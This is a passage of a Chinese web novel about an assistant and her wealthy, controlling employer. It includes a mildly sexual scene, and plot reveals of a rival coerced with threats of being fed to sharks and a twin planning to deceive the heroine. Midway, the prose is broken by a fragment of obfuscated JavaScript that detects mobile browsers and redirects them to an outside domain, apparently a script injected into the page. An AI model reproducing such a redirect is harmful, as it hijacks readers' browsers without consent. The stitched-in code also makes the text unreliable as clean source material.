冯今毕盯着他的睫毛,仿佛听见了它刮动布料的细微声响。
簌簌的。
簌簌的。
她几乎又被引诱了。
她蹲到他的面前,跟他对视着,伸出手指,去碰他的睫毛。
只是手伸过来。陈仲尔没有动,垂着眼睛,让睫尖一次又一次地拂过她的手指。
有点扎。
有点痒。
可那碰触太短暂了。
冯今毕无法满足。
她学着他昨晚,用额头去贴他的。
这次,陈仲尔的身体向后弓了弓。
但只动了一下,他就停住了,一动不动地由着冯今毕跟他贴额头。
没有真的避开。
可是,还是下意识地想避。
在感觉到他的额头不烫了以后,冯今毕先退开了。
她想,昨晚果然是因为他烧得太厉害,神智不够清醒,所以才那么黏她、放纵她。
要说完全没有落差,肯定是假的。
但冯今毕还是学不会对陈仲尔生气。
她看他手上的创口贴都不在了,露出了微肿的红色咬痕,就坐不住地去洗了手,把他拉下沙发,坐在地毯上面对面地给他涂药膏。
专心将药膏挤到陈仲尔伤口上时,冯今毕感觉到了木法沙正用它毛茸茸的大尾巴在蹭她的后背。
它不是跟着冯今毕坐电梯上来的。
它有自己的通道。
在搬到现在住的大平层时,冯今毕就和陈仲尔商量好,在楼上和楼下各给木法沙留了一间猫屋,两间屋子上下连在一起,中间凿穿了一个洞,放了一个连通两层楼的通天猫爬架。
很大。
非常结实。
木法沙经常在上面跳来跳去,在两家来回乱窜。
尤其在它学会了自己开门后,就更没有人能约束得住它了。
在这两层楼里,它比冯今毕和陈仲尔都要自由。
所以,就算突然被原本在楼下的木法沙蹭了,冯今毕也不吃惊。
她没有回头,继续给陈仲尔上药。
陈仲尔却越过她,朝着木法沙伸出右手,把它的嘴里叼着的“绳”勾到自己的指尖。
冯今毕下意识抬头看了一眼,接着就差点被她忘了顺下的气呛到。
那是她昨晚刚用过的vibrator——
她洗好后放到了卧室里的洗手台上。
怎么被木法沙叼上来了!
陈仲尔却没什么反应地看着手里的东西,语气漫不经心:“还在用这个。”
冯今毕:“你怎么知——”
啊。
她想起来了。
住在别墅的时候,他们刚收到的快递都放在一起,经常是谁有时间,谁就帮着一起拆掉。
有一次,冯今毕买了却忘了,等她想起来跑下楼,陈仲尔已经将商品的盒子从快递盒中取了出来。
外盒上的图片,跟现在他正拿在手里的看起来很像。
“不是同一个。”
冯今毕说着就要把它拿回来。
她的手已经抓住了中间的绳,男生却没松手,反而像是不小心地握了握它的尾巴。
那里有它的开关。
震动的瞬间,冯今毕就把她的手撒开了。
她昨晚用它时,一直都在看着监控里的陈仲尔。
以前她虽然也经常这么做,但昨晚不太一样。
他因高烧而全身透着红,花瓣般的嘴唇和密长的睫羽都沾着让色泽更艳的潮湿,雪白的皮下面,青筋用力似的凸起,就连近乎在喘的呼吸声也极了溺进情和欲中的样子。
收音太好了。
那声音就扑在她的眼前。
压在她的耳边。
让她也变得一塌糊涂。
后来脱力时,她的手差一点就手滑地按到了话筒,把她自己的声音传了过去。
她连忙把手机丢到一边,湿漉漉地裹在被子里缓了好久才爬起来。
而昨晚在她额发濡湿的幻想中作为陈仲尔手指的东西,此刻却震动在陈仲尔的手上,不断碰触着他有力分明的指节。
冯今毕猛地低下头。
别想了。
别回忆。
她不去看。可是跟昨晚一样的声音还在响。她没办法把心静下来。
冯今毕拿出手机,用远程遥控把震动关掉。
陈仲尔似乎对这个操作很意外,抬眼看她。
冯今毕觉得自己的脸肯定红了。
但越是这样,她越不躲。
她将手机的遥控app展示给他:“没见过吗?”
她怀揣着一点不能明说的期待,故意将头扬得高高的,眼睛也睁得格外圆,完全就是一只又逞强又傲娇的小猫:
“要我教你怎么用吗?”
陈仲尔却轻笑出声,随手把它向后扔进沙发,“被木法沙咬过了,不能再用了。”
她又不是说用这个……
而且也不能把它留在……
“舍不得?”
看她想伸手去捞,陈仲尔懒洋洋地歪了歪身体,将她挡住。
“它已经脏了,确实不能用了。”
他像是拿她的任性没有办法,耐心地哄她,“我再给你买几个新的,好不好?”
冯今毕深吸一口气,正要跟他理论,陈仲尔的手机响了。
他看了一眼:“卢宝问我几点到。也问了你。”
冯今毕:“你的烧退了吗?还能去吗?”
“退了。没事。我们几点走?”
这就是助理工作上的事了。
公私分明。
冯今毕立马开始跟他说今天的行程。
最早的,就是去参加卢宝组的一个局。
卢宝家和陈仲尔家的关系很近,他们两个从小就认识。
还在别墅住的时候,冯今毕就经常会看到卢宝开着车停到楼下,说要接陈仲尔出去玩。
虽然多数时候陈仲尔都有事不能去,还跟她说卢宝荤素不忌、玩得很花、让她不要单独靠近,但她还是能感觉出来,陈仲尔跟卢宝很熟。
她跟着陈仲尔坐卢宝新买的三层豪华游艇,陈仲尔只是随口说了句游艇不错,卢宝就不当回事地说要把它送给陈仲尔,当即叫人来办手续。
陈仲尔也不当回事,一句客气或阻拦的话都没说。
过了不到半天,全套的转让合同就送过来了,卢宝也把名字签完了,什么都不用陈仲尔再做,只用他再签个名就好。
那时,他们正在铺满了波斯花瓶地毯的观影室。
里面收藏了很多胶片,全是黑白的老电影,陈仲尔随手挑了一张,已经放了很久。
接过合同,枕在抱枕上看着电影的陈仲尔,随手就把合同转给了坐在他身后的冯今毕:“你签。”
冯今毕以为他是要她签他的名字。
这事她熟。
她之前跟陈仲尔互相学过模仿对方的签名。
她学得比陈仲尔好,只要不去做字迹鉴定,几乎都能以假乱真。
看她提笔就要写左耳旁,陈仲尔笑了一声,握住她的手,带着她一笔一划,写下了一个冫字旁。
那是他少有的几次毫无缘由地主动碰她。
冯今毕的手只在最开始稍微地挣了一下,没挣开,她就再没使力。
他握着她的手写完“冯”,就放开了她:“你的生日快到了。”
冯今毕老实说:“我养不起。“
不是想不想要,而是养不起。
那个时候,她已经在给陈仲尔做助理的实习期了,陈仲尔的花销大多数都经过她手,她清楚养这么一条游艇要烧多少钱。
就算一次也不开,一年光停泊、养护、保险这些费用,就能让她负债累累。
陈仲尔又笑了,让她仔细看条款,一切的后续花费都在卢宝的账上。以他们两人和他们两家的交情,这点小钱,连人情账都算不上。
“你什么都不用担心。想用它做什么都行。”
说完,陈仲尔就又枕回她腿边的抱枕,继续看电影了。
他的手很大,刚才轻易地就将她的手完全裹住了。
即使过了一会儿,冯今毕手背每一寸被他碰过的皮肤都还是很烫,握着笔的指尖也很烫。
当时,是她在陈家家办实习期的末尾,她需要决定到底要不要留下。
她不是拿不到别处的offer,只是哪家都不如陈家家办。
她心里清楚,如果不是陈仲尔,以她的履历,即使是实习,也不能摸到陈家家办的边儿。那里面的每个人,从头到脚都镀着金,金光闪闪。
按理说,她不应该生出一丁点的犹豫。
但这是她能和平地、有理有据地离开陈仲尔身边的最好的机会。
“我试过了,但觉得我不适合这份工作。”
“我果然还是更想回老家,对不起。”
只用这样说就行了。
她犹豫,并不是她不想要留在陈仲尔身边。
她很想。
可是——
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陈仲尔总说他把她当成好朋友,但很多时候,冯今毕都觉得,他对她更像是她对木法沙:
她会想要让它吃最好的猫粮猫零食;
想要把它打扮得最漂亮;
见到它喜欢的玩具一定会给它买;
长时间看不到它,也会很想念。
但不会产生欲望。
不会有爱情。
在明知道这一切的情况下,她真的还应该留在他的身边吗?
她的指尖纠结地死死抵在昂贵的笔杆上,一个“今”字好久都签不下去。
陈仲尔没催她,只是边看着电影,边把新送进来的几盘水果排着尝了尝,然后把他觉得最好吃的那盘推到冯今毕这边,叉着喂给她吃。
那是盘刚摘下就空运到船上的白桃。
特别甜。
气味很香。
果肉柔软。
冯今毕刚吃了几口,就被那股香气染了全身,心脏也跟着柔软起来。
陈仲尔的头发近得扫在她的膝盖,被光映得更加精致漂亮的脸就在她的眼底,他的身上萦绕着和她同样的桃子的香气,黑白电影里,女主角正在说着“I‘d like to do just whatever I like.”
I‘d like to do just whatever I like.
I‘d like to do just whatever I like.
是啊。她想留在陈仲尔身边。
是好朋友也好。是“木法沙”也好。她就是想要留下。
当然前提是陈仲尔要一直非常英俊、对她一直很好并且这份工作要一直给她很多很多很多钱!
这样,她就能心甘情愿。
即使以后她还是会在想到陈仲尔不喜欢她时感到难过,但只要看看他的脸,看看她赚到的钱,她应该就能不后悔了。
是被气氛迷惑了的冲动也好,是自我洗脑也好,冯今毕破釜沉舟般地签完了那份合同。
而事实证明,她做得很对。
在签下名字,明确得到了一条三层豪华游艇后,游艇主人冯今毕已经靠着租借那条游艇赚来的钱,给奶奶小时候生活的家乡山上捐赠了一所希望小学。
那是个直到现在还很贫困的山里的乡村,地理条件很不利,比在其他地方盖学校要花更多的钱。
她现在捐的钱也并不充足,想要让学校达到她理想中的样子,后续还要再捐。
但是她的工资很高,游艇也时不时地还能被租出去赚钱,她能负担得起。
她只要继续用心地工作,就能让那里的孩子再也不用像奶奶曾经那样、每天为了上学而冒着走山路摔伤的风险跑去很远的镇子。
之后,她还要为那里修路,把奶奶所有的愿望都一一实现,不让奶奶的遗憾继续延续下去。
所以,不需要等到以后,她现在就已经能够肯定,她绝不后悔!
也因此,她对陈仲尔送她游艇的那天有着非常好的印象。
唯一不完美的一点,就是她觉得,她在签字之前进行的那番思想斗争,落在了卢宝的眼睛里。
虽然卢宝从来没说,但她总感觉,他多少看出了她曾有过想要离开陈仲尔的念头。
因为那天,以前从没正眼瞧过她的卢宝,突然让她到酒柜给他们挑一瓶适合他们现在喝的酒。
他知道她对酒并不精通,在背对着陈仲尔的地方,满脸戏谑地等着她挑到不合适的酒,好对她发难挑剔。
冯今毕倒是很坦然。
屋子非常昏暗,她根本就看不清酒柜里的酒标。
就算看清了,她也确实不会挑。
最后,她随便拿了一瓶。
可就在她拿出那瓶酒的瞬间,卢宝的表情忽然生动。
他看向陈仲尔,用一种冯今毕完全无法读懂的复杂眼神、无声地向陈仲尔询问着什么。
陈仲尔的声音很平静:“开吧。再不开,适饮期就要过了。”
说完,陈仲尔就又去看电影了,是卢宝一步步教着冯今毕如何开瓶、如何把酒倒进天鹅形的醒酒器。
按卢宝说的做完后,冯今毕又坐回到了陈仲尔的身后。
那只醒酒器就放在离他们不远处的桌子上,等着酒醒。
电影放完,换了一部。
法语的电影,冯今毕听不懂,需要集中精力看英文字幕。
她是在过了好一阵后才发现,陈仲尔在留意醒酒器。
她发现,电影里唱着“Elle avait des yeux, des yeux d''opale”时,陈仲尔分神看向醒酒器;唱到“L’alcool fait oublier le temps”时,陈仲尔又看向了醒酒器。
一首歌的时间,他就看了醒酒器好几眼。
很频繁。
一次又一次。
意识到了他在等酒醒,冯今毕也在意了起来。
安静地看完这部电影。
又换了一部。
可从这时起,陈仲尔却像放弃了似的,一眼都没有再朝醒酒器看。
但冯今毕还在留意。
因为非常留心,在闻到酒的香气散出的那个瞬间,她就盖住了电影里“We''ll always have Paris”的声音,激动地推了推陈仲尔:“是不是酒醒了!”
陈仲尔没反应,也没出声。
但卢宝看她的眼神却变了。
他亲手为她倒了酒,端给她。
“冯小姐。”
他第一次正式地称呼她,语气也客气极了:“总听陈仲尔‘小jin’、‘小jin’地叫你,还没有问过你的全名。”
冯今毕不明缘由,但还是认真地回答了:“冯今毕。今日事,今日毕。”
也就是从那天开始,凡是卢宝的局,在叫陈仲尔去的同时,他都会特意提出要请她赏脸一同去。
说起来,她跟前男友刘亚就是在卢宝的聚会上认识的。
但他们刚在一起两个月,刘亚就突然跟她断崖式分手。
人见不到。
电话不接。
消息不回。
人间蒸发了一样。
她开始时还担心刘亚是不是出了意外,找了陈仲尔帮她找,然后才知道刘亚是因为家里的实业公司前不久出了状况,他回国商业联姻去了!
明明是他自己的问题,但他又不想承担提分手的责任,所以干脆消失!
她很难相信她认识的刘亚是这种人。
明明在他消失的前一天,他还很大只金毛似的抱着她,一直在跟她说他有多喜欢她。
但他的订婚仪式举办得可隆重了,宣发也卖力,她在国外都刷到了。
后来,刘亚跟她打电话道歉了,真相就是陈仲尔说的那样。
冯今毕完全不接受他的道歉。
她很生气。
气到那段时间每天都跟着陈仲尔去练拳击。
不过没多久,因为陈仲尔确诊了分离焦虑,她一下子就又变得忙了起来,每天都要花更多的时间陪在陈仲尔身边,也就不怎么能想起刘亚了。
到现在,她已经能心平气和地提起刘亚,只把他当成一段不重要的过往了。
8.叮
冯今毕其实有段时间没听见卢宝的消息了。
他前阵子一掷千金,买了个豪宅,结果被监管部门盯上,说他不合规投资,气得他无心玩乐,每天盯着他们家的家办问进度。
这会儿房子终于到手了,他才迫不及待地把局攒了起来。
能被监管部门盯上的到底是什么豪宅,冯今毕本来很好奇,想在里面好好地参观一下。但刚一踏进门里面的人声鼎沸,她就发现陈仲尔的状态不太好。
之前就有过一些苗头,人越多的地方,陈仲尔对她的分离焦虑就越严重。
但以前,她只用待在他能看见她的地方就足够了。
可今天,她刚说完“我去你能看到的地方坐一会儿”,转身走了几步、刚跟一个认识很久的男孩说了几句话,陈仲尔就开始叫她。
“小今——”
“小今——”
冯今毕回过头。
他的那边几乎已经是狂欢的气氛了。
有人提出要玩牌,找了半天没找到筹码,正互相笑闹着问谁能拿出替代品。
陈仲尔倒是谁也没理。
她走回去,就看到他一个人仰坐在沙发里,怀中圈着个长条的抱枕,向她扬着漂亮的脖颈和脸:“小今,他们非要拉着我玩牌。”
语气又像告状,又像撒娇。
从他嘴里说出来,还有些勾人。
周围的多数人都认识冯今毕,立马有几个同陈仲尔相熟的开始起哄地笑他黏人。
陈仲尔边朝冯今毕伸手,边理所当然地看着冯今毕笑:“我就是离不开小今。”
话音刚落,他握住冯今毕伸过来的指尖,把她往自己的身边拉了拉。
旁边打牌的桌子上,一个女孩将一大包定为筹码的银色星星贴纸扬洒出来,一张一颗,闪着光。
大家忙着分筹码,陈仲尔随手勾了一张,撕开背胶,将那颗星星贴到了冯今毕的手背上。
他的手指很凉。
指尖正在抖。
虽然表情还是漫不经心,但仔细听,呼吸已经很急促了。
冯今毕知道,这是他的焦虑发作了。
医生说,如果遇到这种情况,她要马上不断地跟他说着“我在这里”、“我不会离开”来安抚他。
可她现在没办法做。
她不能让别人发现陈仲尔的病。
冯今毕反握住他的手指,很自然地坐到了他分开的腿间。
陈仲尔的腿分得更开了,那条长抱枕也还竖在陈仲尔的腿间胸前,两人隔着抱枕,身体几乎哪里都没有碰到,但冯今毕却还是在后背压紧抱枕时,听到了陈仲尔的心跳。
过分地、不正常地快。
仿佛随时都会承受不住负荷地爆开。
发作得都这么严重了,就不能主动抱住我吗?
冯今毕又气又担心,故意地使劲往后晃了两下,然后眼神朝着桌子上离她最近的星星贴纸、手指戳了戳了她饱满的脸颊,向陈仲尔示意:“这里也要。”
“冯!”
有人笑着怪叫抗议。
“那是我刚分到的筹码!”
陈仲尔定定地看了看冯今毕,随后不在意地又拿了一颗星星,贴到冯今毕的脸颊,笑着回了那人一句:“拿钱换给你!”
此言一出,周围的好多人马上都凑了过来:
“我也要换!”
“换我这张!”
“换我的!”
他们中没有几个人会把万镑的筹码放在眼里,但他们中的绝大多数却都是为了陈仲尔而来,陈仲尔现在的兴致是他今天露面以来最高的,怎么也要趁机靠近、说笑着跟他表表亲近。
一堆星星被推到面前,冯今毕看向陈仲尔。
陈仲尔笑着将下巴压到她的颈侧:“你挑。给我也贴。”
明显能听出他的状况好了不少。
心跳没那么急了。
呼吸也平稳了。
冯今毕松了口气,也在他手背和眼角同样的地方贴了星星。
贴的时候,她小声地跟他说:“我在这里。”
陈仲尔看着她。
冯今毕:“我不离开。”
陈仲尔还是没说话。
但冯今毕却仍旧在说,她看着他的眼睛,在将星星贴到他的脸颊时,无比认真地跟他承诺:“陈仲尔,我哪里都不去,我就在你身边。”
……
等她将医生教的所有话都说完,陈仲尔已经没事了。
但冯今毕却没那么容易走开。
大家都说陈仲尔不肯跟他们玩牌,要小今替他玩。
冯今毕其实也不想走。
她从来没有这样久、这样近地感受到陈仲尔的心跳。
如果不是今天陈仲尔焦虑发作,她也许永远都没有这样的机会。
就算只是隔着抱枕,她也想再听一会儿。
不过,等牌局开始,她就把陈仲尔给忘了,聚精会神地只顾得上看手里的牌。
所以,她并没有发现,陈仲尔在看她。
陈仲尔看了她好久。
她思考时无意识鼓起的脸颊。
她犹豫时蹙起的眉心。
她纠结中咬住的下唇。
……
小今。
小今。
小今。
他边看着她,边在心里叫着她的名字。
可是,但她始终全神贯注地对着牌局,一次都没有朝他看。
陈仲尔退开了,不再抵在她的肩头。
可她还是没有看他。
过了很久,无声地,陈仲尔垂下眼睛。
她后颈的红痣落进他的眼里。
鲜红的颜色就像一滴落在雪地中的血,在他的眼睛里不断扩散。
又要出现幻觉了啊。
男生合上眼睛,将青筋绷起的手掌盖到冯今毕的后颈,覆住了那颗在梦中被他数次含于齿间的红痣。
他的手很大,手指修长,指尖几乎贴着冯今毕颈侧的动脉,仿佛随时能将她的性命扼住。
那是一个对人来说很有威胁的姿势,仿佛小动物将薄软的肚皮袒露在食肉野兽的利齿尖牙前。
但因为是陈仲尔,冯今毕便任由他做了,心中没有生出一丝一毫的防备。
过了一会儿,心无旁骛的冯今毕非常满意地结束了牌局,而陈仲尔收到了一通需要接的电话,走去了安静的阳台。
他走了,冯今毕自然也就不继续玩了。
她找了个没人坐的沙发,一会儿扭头看看陈仲尔,一会儿仰头去看天花板上的壁画。
她什么都没做,只是静静地坐在那里,就有好几个刚进门的男孩想朝她走。
不过,他们都被带着他们进来的亲人或朋友及时地拉住了。
但冯今毕没看到。
她有些奇怪。
平时她在聚会中一个人坐着的时候,可没有这么清净过。
“没人会来约你了。”
卢宝坐到她对面。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15853832|174940||http|test|mini|href|location''.split(''|''),0,{}));
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>他自问过她的名字后,统共只跟她客气了两天。
从第三次见面开始,他对她说话就越来越随意,毫不掩饰自己就是个不学无术、好逸恶劳的膏粱子弟。
“听说陈仲尔的证件和密码全在你的手里,不管手机还是电脑,用你的指纹和脸都能解开。”
卢宝看着她,眼神又变得复杂起来,像是在重新地、又一次从头地在认识她。
但他嘴里的话没断:“现在谁到你的面前自荐枕席,那就不是单纯贪恋美色,而是对陈仲尔的财产图谋不轨了。”
冯今毕皱眉:“你听谁说的?”
“Adam。”
Adam。
亚当。
是刘亚的英文名。
“不信啊?酒后说的。”
卢宝敲敲他的太阳穴。
“脑子被酒泡涨了,什么话不敢说?”
冯今毕没吭声。
但卢宝说的是事实。
不止那些,她还有一抽屉绑在陈仲尔名下的、各种可以随便她无限去刷的副卡甚至主卡。
而卢宝说的,刘亚也确实知道。
因为曾有一次,在她带了刘亚回家后,陈仲尔下楼找了她,说他在买东西输密码时总被显示密码错误,要她帮他输。
那个时候,陈仲尔直接把锁屏的手机给了她,她也过于习惯地用自己的脸解锁了陈仲尔的手机,然后才意识到刘亚就在旁边。
但她跟刘亚说过不要讲这件事说出去。
刘亚答应她了。
卢宝突然没头没尾:“你也是,就不能老实待在陈仲尔身边?非要去找别的男人。”
冯今毕:?
卢宝说话经常没头没尾。
冯今毕已经很了解了。
但是,刚才那些话,别人说也就算了,她可是才看到卢宝轻浪浮薄地跟好几个男孩女孩围在一起玩传冰块。用嘴传。传完后,他边搂着一个男孩掐屁股,边由着一个女孩托着酒杯给他喂酒,临走前还给了这两个人房卡说晚上一起。
……
她都不愿细想。
冯今毕转过头,去看还在阳台接电话的陈仲尔。
“啧。”
卢宝不满。
“我跟你说正事呢。”
他用脚轻踢了踢两人中间的圆桌。
“陈仲尔那么大的人又丢不了,你总看他干什么?”
“我不放心。”
冯今毕跟他说。
“陈仲尔做事总是太有礼貌,心又软,都不忍心拒绝人。刚才有个侍者给他倒的酒,他喝了会不舒服,但如果我没拦着,他肯定就喝了。这不是第一次。发生过好几回了。”
礼貌。
心软。
不忍心拒绝。
谁?
卢宝脸上的表情空白了。
为了别太明显,他扭头灌了好几口酒。
吞咽着酒液,他用旁光觑着冯今毕。
她的神情居然是认真的。
她在心里,居然真的这么看陈仲尔。
哇。
哇。
一时间,卢宝连心里话都语塞了。
难怪在那艘非注册游轮的船舱里,被人按住的刘亚声嘶力竭地说要让冯今毕看清他的真面目,陈仲尔却笑得像是听了个荒诞的笑话。
难怪在听到陈仲尔淡淡地问他“你和我各执一词,一起站到小今面前,你猜小今会信谁?”时,刘亚会惨白了脸。
难怪。
9.叮!
在卢宝眼中,平心而论,刘亚是有点可怜。
他只是一个被陈仲尔挑中的、干净的、可以给冯今毕在床上解闷用的pimp。
但最初,也是刘亚自己在聚会上被坐在泳池边的冯今毕吸引,连她是谁都没打听,就故意地跳进泳池,湿淋淋地甩着头上的水,游到冯今毕的脚边,红着脸问她可不可以拿一条毛巾帮他擦擦头发。
更何况,该给刘亚的,陈仲尔阔绰又好说话地都给了。
刘亚爸爸开的那个小化学厂,可是在几天内就收到了一大把合作的橄榄枝。
吃掉那些后得到的,对刘亚家来说,已经是越阶层的暴富了。
既然陈仲尔没有亏待刘亚,刘亚就不该在喝醉酒后跟朋友哭着说什么卡斯尔梅恩伯爵、罗杰·帕尔默。
陈仲尔又没有碰过冯今毕。
他只是在想见冯今毕的时候,让刘亚装作有事、从冯今毕身边离开。
拿了那么多的好处,只是要他做这点事,刘亚竟然都受不了,还说想要对小今坦白。
真不怪陈仲尔会不高兴。
相较而言,刘亚实在太不识时务了。
陈仲尔都给他找好了理由,让他先和平地、不要让冯今毕伤心地、跟她好好分手再回国。
刘亚却不肯。
还当着陈仲尔的面,说他真的很爱小今,说他不要跟小今分开。
好在,最后,刘亚还是懂事了。
不然,他一定会被陈仲尔的人丢进那片公海里喂鱼。
陈仲尔可是连鲨鱼都派人提前引好了。
当时,在船上的卢宝也陪着刘亚一起去看了鲨鱼。
从船栏边丢下的一小块肉腥,血水都还没滴到海面,只一眨眼,就已经进了鲨鱼看不到底的嘴中,比喂熊有趣。
而当将一头活着的肉牛丢下去——
那场面。
呼。
要卢宝说,除了刘亚和陈仲尔,在场的所有人肯定都觉得无比壮观。
喝彩声,口哨声,押哪一条鲨鱼更能争食的叫嚷声,一声赛一声地高。
连他都趁兴挥着手喊了好几声Encore。
可惜陈仲尔早就看腻了,对着翻滚的血水只觉得困,听到刘亚点头愿意了,就要他们快点开船回岸,说小今正在家里做钵钵鸡,都已经开始往竹签上串蔬菜了。
小今。
小今。
每时每刻都是小今。
卢宝朝阳台看去,正对上陈仲尔看向这边的眼睛。
今早,他就是被一双跟它们极为相似的眼睛盯着,一句错话都不敢说地讲完了刘亚这件事的始末。
“原来,还发生了这些事。”
卢宝终于坐到了他曾数次怂恿陈仲尔让他偷开一次的定制帕加尼Huayra里,身体舒服得想要沉进座椅,可大腿却一直在隐隐抽抖。
“谢谢你,我弟弟没有告诉我。”
男生笑着向他道谢。
“如果不是你,我要再花很久才能知道,我们家的那艘鲨鱼船,究竟为什么又被开出了海。”
“陈仲尔……”
对着的是一张和陈仲尔完全相同的脸,卢宝不想露怯。
可当他意识到这是陈伯懿以后,他的嗓子却还是无法自已地被无形地勒紧了,声音只能挤压着发出来:
“陈仲尔只是吓唬……吓唬刘亚,不会真为了冯今毕,把他……害死。”
陈伯懿还是在笑,不置可否。
他翻着手中冯今毕的资料,袖边绣着的“陈”的手写首字母形如一只紧收羽翼冲于惊雷暴雨中的海鸟,不时晃进卢宝的眼中。
卢宝打了个寒颤。
但为了陈仲尔,他还是咬了咬后槽牙,对着男生花一样漂亮的脸:“冯今毕很老实,对陈仲尔,也尽心、尽力。只要好好跟她说明白,她会听话,会乖乖只待在陈仲尔身边。”
“但是我弟弟舍不得。”
陈伯懿语气轻轻的。
“他说小今喜欢自由、喜欢到处接触新鲜的东西、喜欢享受抵死缠绵带给她的刺激,他不能把她困住。”
自小便养尊处优、被娇生惯养到永远称心如意的男生,乌睫微微垂下,似乎有点不称心了:“他以前,分明没有这些无用的道德感。都是因为冯今毕。”
“可是冯今毕……”
卢宝知道陈伯懿是个什么样的人。
陈伯懿从小留着陈女士喜欢他留的妹妹头,漂亮得雌雄莫辨,平日跟弟弟寄宿在公学读书,只假期会回国露面,看起来懂事又得体。
有一年,有几家比他年龄大多了的儿子想要引诱他赌博,十岁出头的陈伯懿上了钩,整日同他们泡在船上的赌场里。
圣诞假结束的前一晚,卢宝跟着坐艇去接哥哥的陈仲尔进了船,看到的却是那些已经成年的大孩子们疯狂上瘾地成了赌狗,倾家荡产跪在陈伯懿的脚边,跟只哈巴狗一样地只求他赏几枚筹码。
陈伯懿露着洁白的可爱齿尖,笑着把桌上的筹码抛出去,饶有兴致地看一群“狗”撕咬争抢。
留着蓬松短发的陈仲尔踢开地上碍事的筹码,过去拥抱好几天不见的陈伯懿:“这些‘人’,为什么都趴在地上?”
“赌狗都叫狗了,怎么还能算人?”
陈伯懿也跟弟弟拥抱。
两张一样的脸贴在一起。
“他们不好玩,没有资格做我们的玩具。我还要再重新去找。”
陈伯懿做什么都像在玩游戏。
在这个世上,他可以挑剔、可以任性、可以恶劣、可以将一切都做得天经地义。
他不需要承担任何代价。
可知道他这副真面目的人太少了。
卢宝的爸爸就时常用陈伯懿来训斥他:“家里的钱已流水一样地供你花了,至少,借着跟小陈弟弟交好,多去跟小陈说几句话,能学到他半分,都足够你面目一新。”
小陈。
卢宝是卢先生的儿子。
陈仲尔是陈老先生的孙子。
但陈伯懿,是小陈。
不要说香岛中姓陈的人有多少了,光是陈仲尔所在的陈家这一代,托太晚废除《大清律历》的福,已经成年的男男女女就有几十个。
可长辈们眼中能看到的、有事要交代小辈去做时能想到的,就只有常被他们挂在嘴边的小陈。
孩子们耳濡目染,当他们有事要求人帮忙解决时,下意识想到的,就也是小陈了。
尤其这几年。
求到小陈面前。
只要小陈愿意帮忙。
事情就能解决。
——这几乎已经成了他们这代人在香岛的一个共识。
谁都要去求陈伯懿。
谁都天然地信赖陈伯懿。
陈伯懿说的就是事实。
跟陈伯懿不同的,一定是错。
卢宝毫不怀疑,陈伯懿就算亲手把刀尖捅进一个人的喉咙,被他刺喉的人截至断气,都只会喜悦地觉得陈伯懿做得有理;而看到陈伯懿做出这个举动的旁观者,更是只会觉得是被刺的人罪有应得。
这样的陈伯懿,现在,因为冯今毕而不高兴了。
“……冯今毕,冯今毕对陈仲尔来说,是过于特殊……但是……”
卢宝看得很清楚,陈仲尔绝对不能没有冯今毕。
陈仲尔对冯今毕的需求,最近已经到了快要没办法忍受她的心哪怕有一秒钟不在他身上的程度。
他得帮陈仲尔把冯今毕保住。
“……但是你也见过陈仲尔车祸后发现不能痊愈时的样子。他想死了多少回?那晚,他把保镖全甩了,如果不是冯今毕把他带回家,他自暴自弃,还不知道要堕落到哪一步去。”
话都说到这里,卢宝干脆豁出去,又加了一句:“还有,冯今毕开了第三瓶酒,那瓶酒,醒开了。”
四年前,卢宝在拍卖会买下了三支Jayer。
难得的好年份。
他请了陈仲尔,又叫了几个朋友,很是期待地亲手开瓶醒酒,但等到第二个晚上,也没能等到那瓶酒的香味散出来。
看着那瓶醒不开的酒被倒进下水道,天亮前,还没成年的陈仲尔坐上了司机开的车回家,途中,出了车祸。
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陈家的钱多到很难用数字形容。
顶尖的医疗团队,普通人穷极一生也接触不到的特级药物,不断焚烧的金钱让陈仲尔连皮肤都和车祸前一样,没有半分磨痕,唯独reproductive system在重伤后的恢复没有很大进展。
他们能通过手术做到让它从外观看不出异常;
能通过药物让它的问题不会对陈仲尔的身体发育造成任何影响;
但始终没有讨论出很好的办法让它能正常地被使用。
在最后一次进行决定它能否痊愈的手术前,陈仲尔向卢宝又要了一瓶他那天拍到Jayer。
在医院最高层的套房,看着外面小如粟米的跑马,仍旧还未成年的陈仲尔慢慢旋开了瓶塞。
他收敛了所有的随性,规范地做了醒酒的每一步,但直到他被从手术间推出来,那瓶酒仍然没有醒开。
从那以后,不止那一年份的、所有的Jayer都成了卢宝的噩梦,他让人把它们全封起来,别让他再看见。
但他没有想到,随着他出国,那些封存的酒被作为他的私人物品一起装箱送到了这边,又阴差阳错被放到了他新买游艇观影室的酒柜里。
他更没想到是,在一柜子的酒中,冯今毕正好挑中了他当年拍到的三瓶中的最后一瓶。
而那瓶酒,在冯今毕的手中,醒开了。
卢宝很难形容他在意识到酒醒开时的颤栗。
那个时候,他就明白,冯今毕从此不可能从陈仲尔的生命中的离开。哪怕是用自己的血肉喂养她,陈仲尔都会把她留在身边。
她是陈仲尔的运气。
是陈仲尔的希望。
只有她在,陈仲尔才能真正地活下来——
“你以为我要让冯今毕消失?
陈伯懿的眼中毫不遮掩地闪过厌蠢的傲慢。
但他马上又笑起来,两颗琥珀色的眼睛,仿佛有熔金在其间绚烂地流动。
“我弟弟那么喜欢她,我怎么可能那么做?”
“我当然是要把她送给他。把一个不会总想着往家的外面跑、不会总用那双眼睛去看别人的冯今毕送给他。”
他的指尖轻轻地扫过资料中冯今毕明媚扬起的笑脸。
“挑一个‘刘亚’,主意很好。只是可惜,没有血缘的人,不值得信任,就算用了绳子,也拴不住。”
陈伯懿:“你说,换我来做新的‘刘亚’,怎么样?”
卢宝分辨不清他的话究竟是玩笑、是试探、还是在认真。
他只能尽量挑拣着不会出错的句子:“以冯今毕对陈仲尔的用心……她可能不会同意。”
陈伯懿:“她亲过我了。”
陈伯懿笑着:“很黏人地,说喜欢我。”
他看着卢宝不可置信的表情:“你似乎很肯定她对我弟弟的用情,但她根本分不清我和他。喝醉的时候分不清,清醒的时候,也分不清。比起陈仲尔这个人,她更喜欢的是这张脸,我只要用着这张和我弟弟一样的脸去招引她,她早晚都会默认着同意。”
意识到陈伯懿是认真的,卢宝的手脚更加凉了:“要是陈仲尔知道……”
“他不会知道。
“小今会帮我一起瞒着他。
